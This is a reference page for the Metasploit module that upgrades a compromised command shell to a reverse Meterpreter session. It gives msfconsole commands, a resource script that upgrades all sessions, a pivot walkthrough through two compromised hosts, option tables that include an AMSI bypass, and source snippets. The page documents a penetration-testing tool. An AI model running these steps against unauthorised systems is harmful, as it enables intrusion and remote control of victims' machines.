Shell to Meterpreter Upgrade - Metasploit


This page contains detailed information about how to use the post/multi/manage/shell_to_meterpreter metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Shell to Meterpreter Upgrade
Module: post/multi/manage/shell_to_meterpreter
Source code: modules/post/multi/manage/shell_to_meterpreter.rb
Disclosure date: -
Last modification time: 2021-11-24 16:37:21 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module attempts to upgrade a command shell to meterpreter. The shell platform is automatically detected and the best version of meterpreter for the target is selected. Currently meterpreter/reverse_tcp is used on Windows and Linux, with 'python/meterpreter/reverse_tcp' used on all others.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/manage/shell_to_meterpreter

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > show options
    ... show and set options ...
msf post(shell_to_meterpreter) > set SESSION session-id
msf post(shell_to_meterpreter) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/manage/shell_to_meterpreter")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


shell_to_meterpreter allows you to upgrade a shell session to Meterpreter. It can be launched as a post module, or from the sessions command. By default, this module will use a reverse Meterpreter.

Important Options


HANDLER

The handler option is for starting a multi/handler to receive the connection. By default this is true, because you will need it. But if for some reason if you're setting one separately, you may want to consider having it as false.

LHOST

The LHOST option is for the reverse Meterpreter you are upgrading to. By default, the module can figure it out for you. But over a pivot, you will need to manually set this, because session objects don't necessarily have that information.

LPORT

The LPORT option is also for the reverse Meterpreter you are upgrading to.

PAYLOAD_OVERRIDE

This is an advanced option. If you don't want to use the default reverse Meterpreter, then you can use this.

Scenarios


Using sessions -u

sessions -u is the same as running the post module against a specific session. However, this is limited to using the default reverse Meterpreter payload, so you will not be able to use it via a pivot.

Usage is rather simple. At the msf prompt, first off, read the sessions table to see which one you want to upgrade:

msf > sessions

Active sessions
===============

  Id  Type           Information  Connection
  --  ----           -----------  ----------
  1   shell windows               192.168.146.1:4444 -> 192.168.146.128:1204 (192.168.146.128)

msf >

In this demonstration, session 1 is a shell, so we upgrade that:

msf > sessions -u 1

Upgrading a shell via a pivot

This scenario is a little tricky, because the default options won't work over a pivot. The problem is that if you got a session with a bindshell, your LHOST will say "Local Pipe". And if you got it with a reverse shell, the LHOST is actually an IP range. Neither is an acceptable format for the LHOST option.

There are two ways you can choose: either you must manually set LHOST, or you could choose a bind Meterpreter. The second is really easy, all you need to do is set PAYLOAD_OVERRIDE.

If you prefer to manually set LHOST, this should be the compromised host you're pivoting from. Perhaps a digram will help to explain this:

|-------------|       |-------------------|       |-------------------|
|   Attacker  | <---> | Compromised box A | <---> | Compromised box B |
|-------------|       |-------------------|       |-------------------|
 192.168.146.1         192.168.146.128
                       192.168.1.101 (VPN)          192.168.1.102(VPN)

In this example, let's start with breaking into box A (192.168.146.128):

[*] Sending stage (957999 bytes) to 192.168.146.128
[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.128:1208) at 2016-04-28 22:45:09 -0500

meterpreter >

We decide that box A is on a VPN, with IP 192.168.1.101. Also, we found box B as 192.168.1.102. We need to create that pivot:

msf > route add 192.168.1.1 255.255.255.0 1
[*] Route added

And we break into box B (192.168.1.102) with a Windows bind shell:

[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2016-04-28 22:47:03 -0500

Notice this says "Local Pipe", which means the box B's session object doesn't really know box A's IP. If you try to run shell_to_meterpreter this way, this is all you get:

msf post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[-] LHOST is "Local Pipe", please manually set the correct IP.
[*] Post module execution completed

To upgrade box B's shell, set LHOST to box A's 192.168.1.101. And that should connect correctly:

msf post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.101:4433 via the meterpreter on session 1
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.1.102
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Meterpreter session 3 opened (192.168.146.1-192.168.146.128:4433 -> 192.168.1.102:1056) at 2016-04-28 22:50:56 -0500

Go back to menu.

Msfconsole Usage


Here is how the multi/manage/shell_to_meterpreter post exploitation module looks in the msfconsole:

msf6 > use post/multi/manage/shell_to_meterpreter

msf6 post(multi/manage/shell_to_meterpreter) > show info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

Module Options


This is a complete list of options available in the multi/manage/shell_to_meterpreter post exploitation module:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/manage/shell_to_meterpreter post exploitation module:

msf6 post(multi/manage/shell_to_meterpreter) > show advanced

Module advanced options (post/multi/manage/shell_to_meterpreter):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   BOURNE_FILE                                              no        Remote filename to use for dropped binary
   BOURNE_PATH                                              no        Remote path to drop binary
   HANDLE_TIMEOUT                          30               yes       How long to wait (in seconds) for the session to come back.
   PAYLOAD_OVERRIDE                                         no        Define the payload to use (meterpreter/reverse_tcp by default) .
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WIN_TRANSFER                            POWERSHELL       yes       Which method to try first to transfer files on a Windows target. (Accepted: POWERSHELL, VBS)
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/manage/shell_to_meterpreter module can do:

msf6 post(multi/manage/shell_to_meterpreter) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/manage/shell_to_meterpreter post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/manage/shell_to_meterpreter) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Meterpreter sessions cannot be upgraded any higher


Here is a relevant code snippet related to the "Meterpreter sessions cannot be upgraded any higher" error message:

49:	  # Run method for when run command is issued
50:	  def run
51:	    print_status("Upgrading session ID: #{datastore['SESSION']}")
52:	
53:	    if session.type == 'meterpreter'
54:	      print_error("Meterpreter sessions cannot be upgraded any higher")
55:	      return nil
56:	    end
57:	
58:	    # Try hard to find a valid LHOST value in order to
59:	    # make running 'sessions -u' as robust as possible.

LHOST is "Local Pipe", please manually set the correct IP.


Here is a relevant code snippet related to the "LHOST is "Local Pipe", please manually set the correct IP." error message:

62:	    elsif framework.datastore['LHOST']
63:	      lhost = framework.datastore['LHOST']
64:	    else
65:	      lhost = session.tunnel_local.split(':')[0]
66:	      if lhost == 'Local Pipe'
67:	        print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
68:	        return
69:	      end
70:	    end
71:	
72:	    # If nothing else works...

Shells on the target platform, <SESSION.PLATFORM>, cannot be upgraded to Meterpreter at this time.


Here is a relevant code snippet related to the "Shells on the target platform, <SESSION.PLATFORM>, cannot be upgraded to Meterpreter at this time." error message:

118:	    end
119:	    payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
120:	    vprint_status("Upgrade payload: #{payload_name}")
121:	
122:	    if platform.blank?
123:	      print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
124:	      return nil
125:	    end
126:	
127:	    payload_data = generate_payload(lhost, lport, payload_name)
128:	    if payload_data.blank?

Unable to build a suitable payload for <SESSION.PLATFORM> using payload <PAYLOAD_NAME>.


Here is a relevant code snippet related to the "Unable to build a suitable payload for <SESSION.PLATFORM> using payload <PAYLOAD_NAME>." error message:

124:	      return nil
125:	    end
126:	
127:	    payload_data = generate_payload(lhost, lport, payload_name)
128:	    if payload_data.blank?
129:	      print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
130:	      return nil
131:	    end
132:	
133:	    if datastore['HANDLER']
134:	      listener_job_id = create_multihandler(lhost, lport, payload_name)

Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.


Here is a relevant code snippet related to the "Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process." error message:

131:	    end
132:	
133:	    if datastore['HANDLER']
134:	      listener_job_id = create_multihandler(lhost, lport, payload_name)
135:	      if listener_job_id.blank?
136:	        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
137:	        return nil
138:	      end
139:	    end
140:	
141:	    case platform

MSIL Powershell method no longer exists


Here is a relevant code snippet related to the "MSIL Powershell method no longer exists" error message:

148:	                      when 'reflection'
149:	                        Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
150:	                      when 'old'
151:	                        Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
152:	                      when 'msil'
153:	                        fail RuntimeError, 'MSIL Powershell method no longer exists'
154:	                      else
155:	                        fail RuntimeError, 'No Powershell method specified'
156:	                      end
157:	
158:	        # prepend_sleep => 1

No Powershell method specified


Here is a relevant code snippet related to the "No Powershell method specified" error message:

150:	                      when 'old'
151:	                        Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
152:	                      when 'msil'
153:	                        fail RuntimeError, 'MSIL Powershell method no longer exists'
154:	                      else
155:	                        fail RuntimeError, 'No Powershell method specified'
156:	                      end
157:	
158:	        # prepend_sleep => 1
159:	        psh_payload = 'Start-Sleep -s 1;' << psh_payload
160:	

Powershell is not installed on the target.


Here is a relevant code snippet related to the "Powershell is not installed on the target." error message:

167:	          unless session.type == 'shell'
168:	            psh_opts[:remove_comspec] = true
169:	          end
170:	          cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
171:	        else
172:	          print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
173:	          vprint_status("Transfer method: VBS [fallback]")
174:	          exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
175:	          aborted = transmit_payload(exe, platform)
176:	        end
177:	      end

The command stager could not be generated.


Here is a relevant code snippet related to the "The command stager could not be generated." error message:

221:	      cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
222:	    end
223:	
224:	    cmds = cmdstager.generate(opts)
225:	    if cmds.nil? || cmds.length < 1
226:	      print_error('The command stager could not be generated.')
227:	      raise ArgumentError
228:	    end
229:	
230:	    #
231:	    # Calculate the total size

Error: Unable to execute the following command


Here is a relevant code snippet related to the "Error: Unable to execute the following command" error message:

247:	        else
248:	          ret.strip!
249:	          aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
250:	        end
251:	        if aborted
252:	          print_error('Error: Unable to execute the following command: ' + cmd.inspect)
253:	          print_error('Output: ' + ret.inspect) if ret && !ret.empty?
254:	          break
255:	        end
256:	
257:	        sent += cmd.length

Output


Here is a relevant code snippet related to the "Output" error message:

248:	          ret.strip!
249:	          aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
250:	        end
251:	        if aborted
252:	          print_error('Error: Unable to execute the following command: ' + cmd.inspect)
253:	          print_error('Output: ' + ret.inspect) if ret && !ret.empty?
254:	          break
255:	        end
256:	
257:	        sent += cmd.length
258:	

Error: <E>


Here is a relevant code snippet related to the "Error: <E>" error message:

260:	      }
261:	    rescue ::Interrupt
262:	      # TODO: cleanup partial uploads!
263:	      aborted = true
264:	    rescue => e
265:	      print_error("Error: #{e}")
266:	      aborted = true
267:	    end
268:	
269:	    return aborted
270:	  end

Job <CURRENT_ID> is listening on IP <CURRENT_LHOST> and port <CURRENT_LPORT>


Here is a relevant code snippet related to the "Job <CURRENT_ID> is listening on IP <CURRENT_LHOST> and port <CURRENT_LPORT>" error message:

302:	      if j.name =~ / multi\/handler/
303:	        current_id = j.jid
304:	        current_lhost = j.ctx[0].datastore['LHOST']
305:	        current_lport = j.ctx[0].datastore['LPORT']
306:	        if lhost == current_lhost && lport == current_lport.to_i
307:	          print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
308:	          return true
309:	        end
310:	      end
311:	    end
312:	    return false

A job is listening on the same local port


Here is a relevant code snippet related to the "A job is listening on the same local port" error message:

345:	      select(nil, nil, nil, 5)
346:	      return nil if framework.jobs[mh.job_id.to_s].nil?
347:	
348:	      return mh.job_id.to_s
349:	    else
350:	      print_error('A job is listening on the same local port')
351:	      return nil
352:	    end
353:	  end
354:	
355:	  def generate_payload(lhost, lport, payload_name)

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Tom Sellers <tom [at] fadedcode.net>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.